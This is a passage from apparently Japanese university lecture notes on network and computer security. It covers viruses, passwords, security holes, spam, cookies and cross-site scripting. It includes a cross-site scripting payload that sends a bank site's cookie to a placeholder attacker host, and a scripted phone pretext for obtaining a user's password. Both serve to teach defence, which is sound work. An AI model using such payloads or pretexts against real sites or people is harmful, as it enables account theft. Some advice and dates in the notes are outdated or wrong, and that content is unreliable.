65機関外との通信を含む, インターネットの利用などで用いられるネットワーク. Wide Area Network (WAN) と呼ばれる.66例えば, 研究科外から研究科のワークステーションにアクセスする際に, ssh 以外の利用を認めていないのはこのような理由によります.

67多元数理科学研究科では, 管理者の許可なしに, 勝手に情報コンセントを利用することや, 計算機室の空きケーブルに機器を接続することを固く禁止しています.

68大学の構成員であるはずの学生を「不特定多数」と表現することには問題があるかもしれません. しかし, 後の解説の通り, ネットワーク利用の方法を強く徹底することが不可能という観点から, ある程度以上のユーザを含む集団は, ネットワークの観点からは「不特定多数」と認識をせざるを得ません.

69実際, 名古屋大学でも一部の地域でこのようなサービスが行われています.



すので, サーバのユーザ認証とは無関係にネットワークを利用することが可能です. したがって, 上の例で「不特定多数の学生」を識別するために, ユーザ認証を用いることは難しくなります.多くの学生に対してこのようなサービスが行われている場合には, 次の２つのいずれかの状況であると

考えられます.

1. 不特定多数の学生が自由にアクセスできるネットワーク接続の口（情報コンセント, 空きケーブル, 無線ＬＡＮなど）からの接続に関しては, ファイアーウォール, または VPN (Virtual Private Network)を用いて, そこからのアクセスが強く制限されている70.

2. ネットワーク管理者がネットワークセキュリティに関して無頓着である.

後者は「あきれて口が塞がらない」という状況ですが, 前者の例を見れば明らかな通り, ユーザにとっては利用できるサービスが制限されていて, ある程度利便性が損なわれています. 現在のコンピュータネットワークの状況下では, コンピュータやネットワークのセキュリティを維持することは極めて重要なテーマとなっていて, セキュリティはユーザの利便性とは矛盾する内容を含んでいます.

3.5.4.3 アドレスの不正利用

ネットワークに接続された全ての機器は, 機器を識別するための「アドレス」を持ちます. 現在の多くのネットワークではＩＰアドレスを呼ばれるアドレス体系を用いています. 逆に言えば, ＩＰアドレスがない限り, 機器をネットワークに接続しても, 他の機器とは通信が出来ないことを意味しています. また, 「アドレス」という言葉の意味を考えればわかる通り, ネットワーク上に同一のアドレスを持つ機器が複数台存在すれば, それらの機器の通信が正常に行えなくなることは明らかです. したがって, コンピュータネットワークを維持することは, 各機器に対してアドレスを正しく割り当てることが基本となります.したがって, 許可されていない機器を接続した場合はもちろん, 許可された機器を接続する場合において

も, 利用を許されたＩＰアドレス以外のＩＰアドレスを用いることは禁止されています.現在のネットワーク技術では, ネットワークに接続された機器に対して, サーバが自動的にＩＰアドレス

を割り当てることも可能ですが, この機能（DHCP と呼ばれます）を利用するには, 接続する機器の設定を正しく行う必要があることに注意してください.また, ネットワークによっては, TCP/IP と呼ばれる通信手段（プロトコル）以外のもので, 利用を禁止

しているものがあることがあります71. これらを不用意に利用すると, 他のネットワーク機器に影響をおよぼす可能性もありますので, ネットワーク機器のネットワークへの接続に際しては, 機器の設定を指定通りに行うことが必要不可欠となります.

3.5.5 コンピュータ・ウイルス

コンピュータのセキュリティを脅かすものとして,最も代表的なものはコンピュータ・ウイルス (computer

virus) は, 今日では誰もがその存在を知っているだろう. ウイルスはコンピュータ上のシステムなどを利用し, システム自体を書き換える, ファイルを削除するなどの行為を実行し, ウイルスのプログラム自体が他のコンピュータに移動していくなどの性質を持つ.

3.5.5.1 コンピュータ・ウイルスの内容

ウイルスによる被害の内容, その実行の方法などにより, ウイルスをいくつかに分類することができる.70例えば, WEB サーバへのアクセスに限るなどの制限. 実際に, 名古屋大学で行われているのはこの方法です.71例えば, 多元数理科学研究科のネットワークにおける IPX など.



• プラットフォームに依存したプログラムで書かれ, 実行形式のファイルに「感染」し, その実行形式が実行された時点や, 定められた日時にウイルスのコードが実行されるもの.

• プラットフォームに依存したプログラムで書かれるか, ソースコードで配布されるソフトウェアに付属し, システム上に実行されるのを待つ形を取るもの. （この形をとるウイルスをトロイの木馬(Torojan Horse) と呼ぶことがある.）

• 特定のアプリケーションのマクロ言語で記述され, プラットフォームには依存しないもの. 具体的には Microsoft 関連のアプリケーションで利用される, Visual Basic で記述されたものが多い. （この形のウイルスをマクロ・ウイルス (macro virus) と呼ぶ.）

• コンピュータ自身に被害をおよぼすことよりも, コンピュータに感染し, ネットワーク上で広まっていくことを目的として作られたもの. （このようなものをワーム (worm) と呼び, ウイルスとは区別することがある.）

この分類は完全に機能的に分類したものではない.

3.5.5.2 コンピュータ・ウイルスの特徴

近年良く見ることが出来るコンピュータウイルスの特徴は, 以下のようにまとめられます.

• 特定のＯＳやアプリケーションの下で活動するものが多い.

Microsoft Windows と Internet Exploer 及び Outlook Express を用いているネットワーク機器が多いため, これらのプラットフォームをターゲットとしたものが多くなっています. また, MicrosoftOffice がインストールされていることを前提としているものもあります. 単にこれらを利用しているユーザが多いことだけが理由ではなく, Microsoft 社のソフトウェアは, ユーザの利便性ばかりを追求し, コンピュータ自身や, ネットワークのセキュリティに関しての考慮が低いことが問題となっています.

• 電子メールや WEB ページを感染源とするものが多い.

近年の電子メールを扱うソフトウェアや WEB ブラウザは, 多くの種類のデータ（例えば, 画像ファイル, 音声ファイルなど）を扱うことが出来ます. この機能を利用すると, 電子メールの添付ファイルの自動開封機能やWEB ページを閲覧した場合の自動ダウンロード機能を逆手にとり, 実行可能ファイルを送付またはダウンロードさせ, 自動実行させることにより, ウイルスに感染させることが出来ます.

• 感染したコンピュータ自身に破壊的な活動を行わないものがある.

ウイルスに感染したコンピュータは, 感染直後から, もしくは特定の日時になると, 何らかの破壊的な活動72を行うことが特徴でした. しかし, 近年のコンピュータウイルスは, 感染したコンピュータに記録されている他のユーザの電子メールアドレスに対して, 自分自身を送付するだけの活動をするものもあります. このようなウイルスは, 電子メールなどを感染源とし, 単に電子メールをばらまくことにより, ネットワークのトラッフィクを増大させることが目的と考えられています. このように,ネットワークを経由して自分自身を増殖させるタイプのものは, ワーム (Worm) とも呼ばれます.

したがって, 近年のコンピュータウイルスの問題点として, 単に各機器に対して影響を与えるだけでなく,ネットワークのトラフィックに影響を与え, ウイルスに感染していないユーザにも影響が及びます.

72データを破壊したりすることだけでなく, 単に画面表示をおかしくすることも含んでいます.



3.5.5.3 ウイルスの移動経路

ウイルス自体の感染経路としては, 古くは, 外部（非固定）記憶メディアを経由して, 他のコンピュータに移動していくものが多かった73が, 最近では, コンピュータネットワークを利用して移動して行くものが多い74.インターネット・ワームと呼ばれるものは, ネットワーク上で他のホストのセキュリティ・ホール（後述）

を探し, セキュリティ・ホールを持つホストに侵入することによって広まる75.通常, 我々が被害にあうウイルスは, 今日では電子メールを媒体として広まっていくことが多い. 電子メー

ルを媒体とする場合, 通常はウイルス・プログラムは電子メールの「添付ファイル」として付属し, その添付ファイルを「開く」（すなわち, 実行するなり, 何かのアプリケーションを利用して読み出すなど）ことにより, ウイルス・プログラムが実行される. さらに, 近年では電子メールだけでなく, WEB ページに感染するウイルスが作成されている. この機構は本質的には電子メールを媒体にするものと同一で, WEB ページにアクセスすることにより, ウイルスのアプリケーションをダウンロードさせ, ブラウザがそのファイルを自動的に「開く」ことにより, ウイルス・プログラムが実行される仕組みである.

3.5.5.4 ウイルスに対する対応

それでは, コンピュータ・ウイルスに対する対策として, どのようなことを行えば良いのだろうか？もっとも単純な対策は, 今日の多くのウイルスがプラットフォーム依存の実行形式か, 特定のアプリケーションのマクロ言語で書かれていることが多いため, 最も有効な防御手段は, 「ウイルスの多いプラットフォームやアプリケーションを利用しないこと」である. 今日では, Windows の実行形式か, Microsoft Visual Basicマクロで記述されているものが圧倒的に多くを占める. したがって, そのようなものを使わないというのが最も安全な方法である. より詳しくは, 以下のような方法が考えられる.

1. Microsoft社のソフトウェアにはセキュリティ上に問題が極めて多いため, それらを利用しないか, 利用する場合には, セキュリティ情報の収集に努め, セキュリティ対策を十分に施す.

はっきり言って「ネットワークやめますか, Microsoft やめますか」という状況になりつつあります.Microsoft社のソフトウェアは, ユーザ利便性の追求のため, セキュリティへの配慮が足りないことは有名な事実です. 仮に, セキュリティレベルを高くすると, 事実上, そのソフトウェアの機能のうち,他社のソフトウェアに対して優位な点はほとんど利用できなくなります. また, Microsoft 社自身のセキュリティに関する報告とその対策は不十分なものが多いため, 一旦 BUG FIX（問題点に対策を講じること）が行われても, 同一の問題点で再度セキュリティ上の問題を発生させたことが何度もあります.

一方, MacOSにはセキュリティ上の問題点が一切なかったわけでもありません. また, MacOSのシェアが多くなれば, MacOS を対象としたウイルスが増えるという考え方もあります. しかし, MacOSとその関連のソフトウェアの場合は, セキュリティ対策がある程度のレベルで行われているため, 比較的問題は少ないと考えられています. また, UNIX の場合には, 各ソフトウェアや OS の利便性が必ずしも高くないため, ユーザにとってコンピュータの動作が見えていることが多く, ウイルス対策はとりやすくなっています76.

73コンピュータ・ウイルス自体は, １９８０年代半ばには登場し, この当時はフロッピー・ディスクを経由して広まっていった. また, ワームに関しては, １９８５年頃に大規模なインターネット・ワームが広まるという事件があった.

74コンピュータ・ウイルスは決して人間には感染しない. また, 「空気感染」をするわけではない. ただ..., 無線ＬＡＮを経由して感染する場合には, 「空気感染」と言うのかもしれないが...

75最近では, ２００１年２月に, Linux 上の ftp サーバ (wu-ftpd) のセキュリティ・ホールを利用した, ramen と呼ばれるワームが発生した. また, ２００１年半ばには CodeRed とよばれる WEB サーバのセキュリティ・ホールを利用したワームが広まった.

76UNIX を使っていれば, 現時点ではウイルスはほとんど無関係と考えても良いでしょう.



2. アンチウイルスソフトウェアを利用する. さらに, ウイルス定義ファイルは常に最新のものを利用する.

新しいウイルスが作成された場合, その情報を含む定義ファイルが配布される以前にウイルスが届くこともあるため, この対策は後手に回りがちです. しかし, ウイルス感染に気が付かないことも多いため, 感染を発覚させるためには, 十分な意味があります.

3. 信頼度の高いサイトのセキュリティ情報には常に目を通しておく.

最近のウイルスは電子メールの添付ファイルとしてやってくることが多いが, この場合,

見知らぬ人から来たメールの添付ファイルは不用意に開かない

ということで対応が可能である. 特に, Microsoft OutlookExpress など, デフォールトでは添付ファイルを開いてしまう MUA は, ウイルスに感染する危険性が高い. また, いくつかのウイルスでは, 実行時にMicrosoft OutlookExpressの設定ファイルから, 他のユーザの電子メールアドレスを取得し, そこへウイルス自身を送るという機能を持ったものも多い.極端な場合として考えられるのは, ウェブ・ページの JAVA スクリプトや, 画像ファイルなどにウイルス

相当のコードが記述されている場合もあり, 近年ではウェブ・ページを開くことさえもウイルス感染の危険性を覚悟する必要があり, 不用意に信頼のおけないファイルをダウンロードすることは慎まなくてはならない.もし, 各自のコンピュータがウイルスに感染した場合には,

1. 速やかにコンピュータをネットワークからはずす.

2. どのようなウイルスに感染したかを特定し, 他のユーザへの影響が考えられる場合には, 感染していないコンピュータを利用して, ウイルスを送付した可能性のある友人などにその旨を連絡する.

3. ＣＤ－ＲＯＭなどの書き込み不可能媒体で配布された, 安全であることがわかっているオリジナル媒体から, 完全な初期インストールを行う.

最後の項目は思わずサボりがちとなります. 単なる「駆除ソフトウェア」を使うだけでは不十分なことも考えられるため, 最も安全なことは, 全てのソフトウェアとデータを消去し, 完全な初期インストールを行うことが必要な場合も多く考えられる. どの程度の駆除を行うかについては, 信頼度の高いウイルス情報サイトから情報を得ることが必要となる.

3.5.5.5 ネットワークを利用したウイルスのようなもの

前節では, ネットワークを利用したウイルスの配布形態を解説した. 現在では電子メールを利用したウイルス感染が多く, それに対しては, 適切な MUA を使い, 適切な設定と利用を行うことにより, ウイルス感染を防ぐことが出来ると述べた. しかしながら, ２０００年はじめ頃（だったと思う）にスペインで起きた,大規模なウイルス事件は, ユーザが防ぎようのないものであった.これは, 携帯電話の電子メール機能を狙ったもので, 携帯電話にウイルスが侵入し, その MUA に登録さ

れた他の電話番号に感染していくものであった. これは, 携帯電話の MUA 機能を巧妙に利用したもので,MUA の設定がほとんどユーザ側で変更することが出来ないため, ユーザは携帯電話の電源を切る以外の対処法が存在しなかった. 今後, 携帯電話でのメール機能などが発展していく中で, このようなタイプのウイルスに関するセキュリティは考慮しようがないことに注意しよう.



3.5.6 ネットワーク・セキュリティ

各種のネットワークを利用した不正な行為にはどのようなものがあるかを解説し, それに対する対応方法を考えよう. なお, 不正にコンピュータにアクセスを試みることをハッキング (hacking) と言うことがあるが, ハッキングとは, コンピュータのソフトウェアやハードウェアの内容を, 必ずしも不正にではなく解読することであり, 不正なハッキングをクラッキング (cracking) と呼び区別されている.

3.5.6.1 パスワード管理

コンピュータのセキュリティを維持するために最も重要なことは,すべてのユーザにパスワード (password)の管理を徹底することと考えられている. コンピュータに不正にアクセスするために最も簡単な方法は, そのコンピュータのユーザのパスワードを入手することであり, そのパスワードを探ることをパスワード・クラッキング (password cracking) と呼ぶ.

3.5.6.1.1 パスワード・クラッキングの方法通常, UNIX ワークステーションのパスワードは, パスワード自身を暗号化した形式で保存されている. したがって, 暗号化パスワードファイルを入手し, 暗号を解読すればパスワードを入手することは可能である.実際にパスワードを解読する方法としては, 良く知られた単語, ユーザの名前などを大量に辞書として持

ち, 辞書中の単語やその並び替えなどをすべて暗号化して, 暗号化パスワードと比較する方法が良く行われる. しかし, 大量の単語の暗号化には時間が掛るため, もっと単純にパスワードを入手する方法が考えられている.実際にユーザのパスワードを入手するためには, 以下の方法を試してみると良い.

• ユーザの一人に電話をかけ,（例えば大学であれば）「ＸＸＸ学科の事務室ですが,あなたのコンピュータのファイルが不正な情報を含んでいます. それを復旧したいので, あなたのパスワードを教えてください」と言ってみよう.

すると, 何割かのユーザはパスワードを喋ってしまうと言われている.

このような方法でパスワードを入手することを, ソーシャル・パスワード・クラッキング (social password

cracking) と呼ぶ77.

3.5.6.1.2 パスワード管理の方法パスワードを適切に管理するには, 一般に以下の方法が良いと言われている.

1. パスワードは, 辞書に載っている単語, 名前などから類推するものをつけてはならない.

2. パスワードをいかなる理由でも人に教えてはならない.

3. パスワードを手帳などにメモしてはならない.

他人に「ちょっと使わせて」と頼まれてパスワードを教えるユーザもいるようだが, これは決して行ってはならない. また, パスワードを電子メールなどに（暗号化なしに）書いてはいけない. 後に解説するが, 暗号化されていない電子メールは, ネットワーク通信路上を流れる際に, 他人に読まれる可能性は否定できない. 特に, ネットワーク通信路上で盗聴が起きている場合, パスワード情報は盗聴者にとって極めて有益な情報となる.

77銀行の ATM (Automated Teller Machine) でも, 「こちらから暗証番号を聞くことはありません」って書いてあるにも関わらず, 暗証番号を教えてしまう人がかなりいるらしい.



また, パスワードを手帳などにメモしてはいけないのは, ほとんど当たり前であるが, 今日, ユーザが利用するシステムが多くなり, 適切に管理しなければならないパスワードの数も多くなっている. 今後開発されるシステムでは, 出来る限り「パスワード」以外の認証方法を実現することも, 技術的な大きな課題とされている78.

3.5.6.2 セキュリティ・ホール

プログラマの意図に反して, ネットワーク関連プログラムにセキュリティ上の問題が生じることがあり,そのような部分をセキュリティ・ホール (security hole) と呼ぶ. セキュリティ・ホールは一種のバグではあるが, 通常, バグとは区別して呼ばれることが多い. セキュリティ・ホールは, すべてのネットワーク関連ソフトウェアに潜在的に潜む問題であり, セキュリティ・ホールを発見した／された場合には, プログラムのメーカや作者は, 速やかに対応したものを公開することが求められている.セキュリティ・ホールは, 後に述べる各種の種類があり, 必ずしも特定のソフトウェアに対するものでは

なく, 一般的にプロトコルに問題がある場合もありうる. 著名なソフトウェアやプロトコルに関するセキュリティ・ホールに関しては, CERT/CC などの組織でまとめられ, その対処法とともに世界中に公開されている. また, 特定のアプリケーションに関するセキュリティ・ホールがあった場合には, ソフトウェア・ベンダーにより, セキュリティ情報が公開されることが多く, セキュリティ情報を積極的に公開し, その迅速な対応を行うことは, 今日のソフトウェア・ベンダーに求められている活動の一つである79. ネットワークサービスに著名なソフトウェアを利用することは, セキュリティ・ホールを攻撃される可能性が高い一方で,セキュリティ・ホールに対する対応がすばやければ, ユーザ自身がセキュリティ・ホールに対する対応を行えるという利点がある.

3.5.6.2.1 セキュリティ・ホールの内容現在, CERT/CC で公開されているセキュリティ・ホールの種類の主なものは以下の通りである80.

バッファ・オーバフロー (buffer overflow) ネットワーク・サービス・デーモンの文字列領域が, プログラム中で明示的に大きさを指定していない場合に起こりうるもので, ネットワークサービスに対して,そのプログラムから推測できる長大なデータを送り込むことにより, サーバに特定のプログラムを実行させ, そこから不正アクセスを行うために有益な情報（例えば, 暗号化パスワードファイル）を入手する方法.

ポート・スキャン (port scan) サーバのすべてのポートを順に調べ, セキュリティ・ホールのある可能性のあるポートの番号を調べる方法.

DoS (denial of services attack) サーバ等に対して, 処理能力を越える大量のパケットを送り, サービスに重大な影響を与える方法. 目的としては,

• ソース・ルーティング・パケット (source routing packet) を送り込み, ファイアー・ウォールの動作を狂わせる,

• TCP の half-open connection を大量に作らせ, サーバのすべてのネットワーク資源を使い尽くさせる.

78決して, 「指紋認証」とかを指しているのではない. このような「バイオ・メトリック」情報は, 読み取り装置などの問題もあり,局所的な装置には有効であるが, ネットワーク経由の認証に有効に働くとは限らない. ここで言っていることは, 数少ないシステムのパスワードを管理し, そのシステムからの「電子署名」などの認証方法を実施すべきという意味である.

79以前に Microsoft 社は InternetExploer のセキュリティ・ホールに関して, 「セキュリティ・ホールはバグではない！」（ここまでは正しい）, 「ユーザ側の注意によって防ぐことが出来るセキュリティ・ホールなので, 修正をする必要はない」と言った趣旨の発言を行い, セキュリティに関心のあるユーザの顰蹙をかったことがある.

80CERT Advisories として, 広く公開されている. http://www.cert.org/



• サーバの特定のサービス（例えば httpd 等）に影響を与える.

などが挙げられ, 特に http に対する DoS は, 正当なアクセスとの区別がつかないため, 事実上防ぎようがないと言われている.

Java applet を利用したものウェブ・ブラウザ上の Java仮想機械のバグを利用して, 特定の Jave appletを実行させることにより, クライアント上の情報を得ることが出来る. (cf. Cert Adovisaries CA-2000-15)

クロスサイトスクリプティング Java Script を利用して, ユーザの持つクッキー情報を引き出させるもの.

ウェブ・ブラウザのバグを利用したもの Microsoft OutlookExpress 5.01 などで確認されているセキュリティ・ホールで, 特定の HTML コードを読み込ませることにより, ウイルス相当のコードを後から読み込ませることが可能になる. (cf. Cert Adovisaries CA-2000-14)

この他にも, 有名なフリーウェアにのソースコードにトロイの木馬が混入したこともある.

3.5.6.3 各種のセキュリティ問題

ここからは, より詳細にセキュリティ問題を調べ, ユーザがネットワークを利用する上で十分に配慮しなければならない事項を解説する.

3.5.6.3.1 電子メールに関するセキュリティ問題近年電子メールは各種の連絡や広告など, 幅広い目的で使われています. 電子メールの利用に関しても, セキュリティに関連すると考えられる問題が多く含まれています. 具体的に問題となっているのは,

1. アドレスの漏洩,

2. SPAM,

の２つが代表的です.

3.5.6.3.1.1 アドレスの漏洩前者の「アドレスの漏洩」とは, 以下のような問題を指します. 通常, 電子メールはお互いのアドレスを知っている２人のユーザの間で利用されます. しかし, 電子メールは, 一度に大量の相手に送信することが可能であることは言うまでもありません. 一方, 個人の電子メールアドレスは, 電話番号と同じように個人情報と考えられ, 本人の許可なく第３者に教えることは問題があるとされています.電子メールを一度に大量のユーザに送付する場合に, 最も簡単な方法は, 送信先のアドレスを TO に書き

並べていけば良いのですが, この時, そのメールを受け取ったユーザには, TO に書き並べられたアドレスが全て見えてしまいます. これが「アドレスの漏洩」と呼ばれている問題です. ここで, TO に書かれたアドレスが, 全ての受信者が知り合いであり, それを知ることで不特定多数の電子メールアドレスを知ることにならなければ問題はないのですが, 例えば, 広告のように, TO の中に不特定多数のメールアドレスが羅列されている場合には, 無関係な第３者に他人のメールアドレスを教えることとなります. もちろん, メールアドレスを知ったからといって, そのユーザの情報のうち電子メール以外のものを知り得たわけではないのですが, そのメールの受信者は, 他人の有効な電子メールアドレスを入手したこととなります. もし, 受信者の中に悪意のあるユーザが含まれている場合には, 他人の有効な電子メールアドレスを入手することにより,他の目的で（例えば, 広告のメールを送るなど）それらのアドレスを再利用することが可能となります.



このような, 不特定多数への電子メールには, 各種メーカからユーザへの情報の通知など, 有効な利用法がなされているものも少なくなく, 不特定多数への電子メールの配布そのものに問題があるわけではないことに注意してください. しかし, 広告（ダイレクトメール）など, 必ずしも問題がないわけではない不特定多数への電子メールの送信が多く行われています. これらのメールを受信したユーザにとっては, NTTDoCoMo の i-mode メールを代表とする, メール受信にも課金が行われるシステム81を利用するユーザも

少なくなく, また, インターネットプロバイダへの接続は時間単位の課金が行われていることが多いため,不必要な大量のメールの受信はメールを受信するユーザにとって, 不必要な課金を求められています. また,不必要なメールを大量に送付することは, ネットワークのトラフィックを増大させる原因につながります.したがって, 何かの理由で不特定多数に電子メールを送信する必要がある場合には, メールの受信者に,

受信者全員の電子メールアドレスが見えない形で送信を行う必要があります. 電子メールのヘッダ内に受信者のアドレスを明示することなく電子メールを送信することや, 発信者のアドレスさえも明示することなく電子メールを送信することは比較的容易に実現できますが, 発信者アドレスを明示することなく電子メールを送信することに問題が多いので, ここではその方法を解説することは避けることにします.

3.5.6.3.1.2 SPAM 上にも述べた通り, 電子メールは発信者を隠蔽して送信することが出来ます. このことを利用して, 不特定多数への広告メール（ダイレクトメール）が多数利用されています. このような場合には, 発信者を隠蔽するために, さらに巧妙な方法が用いられています.メールの発信元のホストは電子メールのヘッダを調べることによりある程度特定することが可能です. そ

のため, 広告メールなどでは, 発信ホストさえも隠蔽してしまうために, メールの送信を発信者とは無関係なホストに行わせる行為が広まっています. すなわち, 「許可されていないユーザによる, 大量の電子メールの中継を行う」行為が行われています. これを SPAM とよび, 中継を行われたホストには以下のような被害が及ぶため, 一種の不正アクセスと考えられている.

1. 大量のメールの発信を行うため, パフォーマンスが低下する.

2. 大量の不正なメールを発信したとして, そのホストからのメールの受信を拒否するサイトがある.

特に後者の問題は深刻です. そのため, 多くのサイトでは, 外部からの電子メールの送信要求で, 宛先が外部のものであるようなメールの受信を拒否する設定になっています.ユーザの立場から見てみると, ユーザが利用を許されたメール発信のためのホスト以外のホストに対し

て, メールの発信を要求した場合, SPAM を行うユーザと見なされる可能性があります. したがって, 全てのユーザは, 各自が利用を許されたメールサーバ以外を送信用のホストとして設定することを避けなければなりません.

有名な SPAMの缶詰. 中身は「塩漬のソーセージ」.アメリカ人に言わせれば「極めてまずい」らしい. テレビドラマ「モンティパイソン」で主人公がこの缶詰を持ち, “SPAM SPAM SPAM!” と叫びながら走る姿から, 大量の不正メール攻撃を SPAM と呼ぶようになった. なお, この缶詰は秋葉原で国立情報学研究所の職員が購入したものを譲り受けたもの.

あるサイトから SPAM が行われた場合には, そのホストからのメールはすべて拒否するという設定を行う

81メール受信に課金が行われるシステム自身は, インターネットの世界で容認されているシステムとは言いがたいものがありますが.



サイトもあらわれる82. そのため, SPAM の発信元となったサイトは, ネットワーク社会での信用がなくなり, そのサイトからのメールが事実上利用できなくなるという重大な問題に発展する.

3.5.6.3.2 WEB に関するセキュリティ前にも述べた通り, WEB ページを閲覧する際にもセキュリティに関わる問題が発生します. 前に述べた内容は, ブラウザが各種のファイルを自動ダウンロード・自動実行するモードになっていると, WEB ページを閲覧する際に, コンピュータウイルスに相当するファイルを拾って, ウイルスに感染する危険性があるということでした. ブラウザの設定を画像ファイル以外は自動ダウンロード・自動実行しないモードにすれば, この問題は回避することが可能ですが, それ以外にも多くの問題があり得ます. WEB に関わるセキュリティ問題の主要なキーワードとしては,

• CGI と https,

• Java, Java Script,

• Cookie とクロスサイト・スクリプティング,

があげられます. これらは相互に関係していますが, これらを順に解説してきましょう.

3.5.6.3.2.1 CGI のセキュリティ問題近年, WEB ブラウザを利用したサービスとして, 商品の購入や,インターネットバンキングと言った, 金銭に関わるサービスが流行しています. 例えば, インターネットを利用して商品の購入を行う場合には, 代金の支払いとしてクレジットカードを利用することが多く行われています. すなわち, 商品の申し込みの時点で, クレジットカード番号を CGI フォームに入力して代金を支払う方法です.この際に何が問題になるのでしょうか？WEB ブラウザを用いた通信では, 基本的にはその通信内容は,

入力した文字列そのものがネットワーク上をデータとして流れていきます. また, ネットワーク上のデータは, どのようなネットワークを通じて送信先までたどり着くかを, ユーザは知ることは困難です. したがって, 途中の通信路上で悪意のあるユーザが全てのデータを監視（盗聴）していないとも限りません. もし,そのようなことが行われた場合には, 通常の通信では, 入力されたクレジットカード番号などは全て漏洩してしまいます.これを避ける最も有力な手段は, 「公開鍵暗号」を用いた暗号化通信を行うことであり, WEB を用いた

通信 (http) では, SSL と http を組み合わせた https という通信手段が実現されています. したがって,クレジットカード番号に代表される個人情報を CGI データとして入力する際には, 相手との通信が https

（SSL を用いた暗号化通信）が用いられていることを確認する必要があります83. URL が https で始まる

場合には, そこへの通信は SSL 暗号化が行われています.

3.5.6.3.2.2 Java と Java Script 近年, 世間の多くの WEB ページは, その見栄えを良くするためか,Java や Java Script が多用されています. Java を用いたページでは, Java のプログラムがダウンロードされ, ブラウザが動作しているコンピュータ上の Java 実行環境を用いてプログラムが実行されます. また, Java Script でも, WEB ページに記述されたスクリプトは, ブラウザが動作しているコンピュータ上のJava 実行環境を用いて実行されます.

Java 実行環境は, 各コンピュータ上にインストールされるものですが, その中に各種のセキュリティホール（セキュリティ上の脆弱性）が確認された例が少なからずあります. これらのセキュリティホールを用いて, 特定のページを閲覧したときに, クライアント（ブラウザを実行しているコンピュータ）側のファイル

82これは, メールの発信サイトが（ネットワーク）社会的には信用できないという判断に基づいているもので, SPAM の報告があった場合, そのサイトを自動的に登録し, そのサイトからのメールを受信しない（受信はするが, すぐに破棄する）という設定を行うサイトも多い.

83本当は, SSL の証明書が出所の正しいものであることを確認する必要もありますが...



を消去したり, クライアント上で特定のプログラムを実行させたりすることが可能です. また, セキュリティホールとは異りますが, クライアント上にある各種の情報をサーバ（WEB ページが存在するコンピュータ）に送り込むことも可能とされています.これらの危険性を回避するには,

• ブラウザの Java と Java Script を無効にする.

という方法が最も有効です. もちろん, これらを無効にすると, Java や Java Script を利用したページの表示が不十分になります84. また, 各自が WEB ページを作成する際にも, 必要がない限り Java や JavaScript を利用することなしにページを作成することが必要です. もちろん, 各自のコンピュータにインストールされている Java 実行環境に関して, 十分なセキュリティが確保されているかどうかを, 最新の情報で確認する必要があります.

3.5.6.3.2.3 Cookie とクロスサイト・スクリプティング WEB における Cookie とは, WEB サーバがクライアント（ブラウザ）を識別（特定）するために用いられる文字列のことです. サーバから見たとき, 同一の URL に何度もアクセスするクライアントが, 同一ユーザのものかどうかを判断するために用いることが出来ますが, より高度な利用法として, 各ページごとに Cookie を生成してブラウザに渡し, 連続する CGI ページの一連性の確保を行うために用いられています.現在では, Cookie はさらに進んだ利用法が行われ, 一度訪れた CGI ページに, 前回そのユーザがどのよ

うな入力を行ったかのデータから, ユーザにとって面倒なフォーム入力を, あらかじめサーバから表示する手段として用いたり, そのページの表示設定をクライアント（ブラウザ）に保存させて, そのデータの送信を要求することにより, 前回と同じページ設定で表示させる手段として用いることが出来ます.このように, WEB サーバとクライアントであるブラウザの間でやり取りされる Cookie は, 各種の利用

法が考えられ, 極めて便利なデータ交換手段となっていますが, この Cookie をセキュリティに関連して利用することが可能であり, Cookie の漏洩が発生することにより, セキュリティ上の脅威が出現しています.以下では, Cookie とそのセキュリティに関する問題を解説し, セキュリティ上の脅威を避けるための手段を説明します.上に述べたように, Cookie は WEB を用いている限りは, ある種の個人情報となり得ることがわかりま

す. Cookie を使うWEB コミニュケーションの例を１つ考えてみましょう. ここでは, いわゆる「インターネット・ホームバンキング」の例を取り上げます. WEB を用いて銀行の自分の口座にお金を出し入れしたり, 残高を確認する機能を提供している銀行が増えてきていますが, これが「インターネット・ホームバンキング」の一例です.通常, このようなページにアクセスすると, はじめに氏名・口座番号・パスワードの入力を求められます.

ここで「パスワード」は, 氏名と口座番号に付随し, その口座に WEB からアクセスするためのユーザ認証に用いられています. しかしながら, このページにアクセスするたびに氏名や口座番号を入力させられるのを「面倒」と感じるユーザも少なくありません. さらには, 「パスワード」さえも入力するのが面倒なユーザも多いようです. そこで, 少しでも「便利」にするために, １度目のアクセスの際に, これら入力データをサーバ側に保存しておき, Cookie を用いて, 保存されたデータのデータベースを作成しておきます. この時, 同じクライアント（ブラウザ）から２度目以降にアクセスした場合には, データベースを参照すれば,これらのデータはユーザが入力することなしに, WEB ページに表示させ, 「氏名・口座番号はこれでよろしいですか？」と尋ねるボタンを用意することが出来ます.さて, このようなページに関して, もし Cookie が第３者に漏洩したらどうなるでしょうか？悪意のある

第３者は, このようなページにアクセスし, 不正に入手した Cookie を用いることで, 氏名・口座番号を知る

84要するに, Java や Java Script を使わなければいけないページを作る方が悪い. 絶対に必要な場面も考えられますが, 多くは「見栄えを良くする」以外の目的では使われていません.



ことが可能になります. 場合によっては, その口座にアクセスするためのパスワードも入手可能でしょう.この例は極めて極端な例かもしれませんが, 今日では日常的に利用されている Cookie の利用法です.ここで, 上に述べたような SSL 暗号化通信を用いれば, “Cookie は漏洩しないじゃないか！” と考える

ことも出来ます. しかし, これは正しくありません. 各種の検査ページの検索文字列として,

<scirpt>document.write(document.cookie)</script>

これは, Java Script を用いて, Cookie を表示する命令です. もし, 「安全な CGI を用いたサイト」であれば,

<scirpt>document.write(document.cookie)</script> の検索結果

という表示が行われますが, 脆弱なサイトでは,

UserID=C3E71C358092890809A90AVFBD の検索結果

などと, Cookie の文字列が表示されてしまいます. これは「クロスサイト・スクリプティング脆弱性」と呼ばれ, ごく最近発見された, WEB ページに関わるセキュリティホールです.上の例では, 単に自分のブラウザ上に Cookie が表示されるだけですので, 脆弱性とは無関係と考えられ

がちですが, 次のような例を見てみましょう. 悪意のあるサイトのリンク文字列として, 次のように書かれていたと仮定します.

http://www.xxx.yyy/input.cgi?key=

<scirpt>window.open("http://www.zzz/save.cgi?+escape(document.cookie)")</script>

ここで http://www.xxx.yyy/input.cgiがホームバンキングを行うページ, http://www.zzz/が悪意あるサイトであるとき, このリンクをクリックすると, ホームバンキングのページに飛び, そこで用いられている Cookie が悪意あるサイトに送られます. それを save.cgi という名前をつけた, 不正に取得できたCookie を保存するスクリプトを用いることで, 容易に他人の Cookie を入手することが出来ます.このような「クロスサイト・スクリプティング」は数多くの有名サイトでも確認され85 ていますので, 有

